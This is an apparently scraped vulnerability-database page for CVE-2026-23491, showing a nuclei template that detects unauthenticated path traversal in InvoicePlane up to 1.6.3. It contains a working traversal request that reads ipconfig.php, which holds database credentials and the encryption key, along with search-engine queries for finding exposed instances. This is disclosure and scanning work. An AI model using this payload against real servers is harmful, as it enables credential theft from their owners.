Lucene search
+L

InvoicePlane <= 1.6.3 - Arbitrary File Read

🗓️ 25 Aug 2026 06:26:12Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 2 Views

Unauthenticated path traversal in InvoicePlane <= 1.6.3 reads arbitrary files like ipconfig.php.

Related
Refs
Code
ReporterTitlePublishedViews
Family
cnnvd
CNNVD
InvoicePlane 路径遍历漏洞
18 Feb 202600:00
cnnvd
cve
CVE
CVE-2026-23491
18 Feb 202619:52
cve
cvelist
Cvelist
CVE-2026-23491 InvoicePlane has Unauthenticated Path Traversal in Guest Controller
18 Feb 202619:52
cvelist
nvd
NVD
CVE-2026-23491
18 Feb 202620:18
nvd
packetstorm
Packet Storm
📄 InvoicePlane 1.6.3 Path Traversal
13 Apr 202600:00
packetstorm
ptsecurity
Positive Technologies
PT-2026-20490
18 Feb 202600:00
ptsecurity
redhatcve
RedhatCVE
CVE-2026-23491
20 Feb 202601:22
redhatcve
vulnrichment
Vulnrichment
CVE-2026-23491 InvoicePlane has Unauthenticated Path Traversal in Guest Controller
18 Feb 202619:52
vulnrichment
id: CVE-2026-23491

info:
  name: InvoicePlane <= 1.6.3 - Arbitrary File Read
  author: str4k3r
  severity: high
  description: |
    InvoicePlane through 1.6.3 is vulnerable to an unauthenticated path traversal in the guest "Get::get_file()" controller. The supplied filename is passed to readfile() after a single urldecode() with no directory-traversal validation, allowing an unauthenticated attacker to read files outside the customer-files upload directory - including the application's own "ipconfig.php", which discloses the database credentials and the application ENCRYPTION_KEY. Fixed in 1.6.4 by the validate_file_access() helper.
  reference:
    - https://github.com/InvoicePlane/InvoicePlane/security/advisories/GHSA-88gq-mv54-v3fc
    - https://github.com/InvoicePlane/InvoicePlane/releases/tag/v1.6.4
    - https://nvd.nist.gov/vuln/detail/CVE-2026-23491
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-23491
    cwe-id: CWE-22
  metadata:
    max-request: 1
    verified: true
    product: invoiceplane
    vendor: invoiceplane
    shodan-query: http.html:"InvoicePlane"
    fofa-query: body="InvoicePlane"
  tags: cve,cve2026,invoiceplane,lfi,traversal

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php/guest/get/get_file/..%2f..%2fipconfig.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "SETUP_COMPLETED="
          - "ENCRYPTION_KEY="
        condition: and

      - type: word
        part: content_disposition
        words:
          - "attachment"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220372887e580e9cb6ca7cc3d753309f7f4aef394055577f2272d8d409da8cac7c6022100dedbf898fe565a60b6125c42492943bf9f5ce892968a73db6545da1ddfb12d37:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Aug 2026 06:20Current
5.3Medium risk
Vulners AI Score5.3
CVSS 3.17.5
CVSS 49.3
EPSS0.0105
SSVC
2